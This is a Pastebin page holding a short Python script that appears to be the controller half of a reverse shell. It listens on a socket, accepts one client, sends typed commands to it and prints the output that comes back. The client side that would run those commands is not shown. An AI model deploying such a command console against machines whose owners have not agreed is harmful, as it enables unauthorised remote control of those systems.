Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- HOST = '127.0.0.1' # '192.168.43.82'
- PORT = 8081 # 2222
- server = socket.socket()
- server.bind((HOST, PORT))
- print('[+] Server Started')
- print('[+] Listening For Client Connection ...')
- server.listen(1)
- client, client_addr = server.accept()
- print(f'[+] {client_addr} Client connected to the server')
- while True:
- command = input('Enter Command : ')
- command = command.encode()
- client.send(command)
- print('[+] Command sent')
- output = client.recv(1024)
- output = output.decode()
- print(f"Output: {output}")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement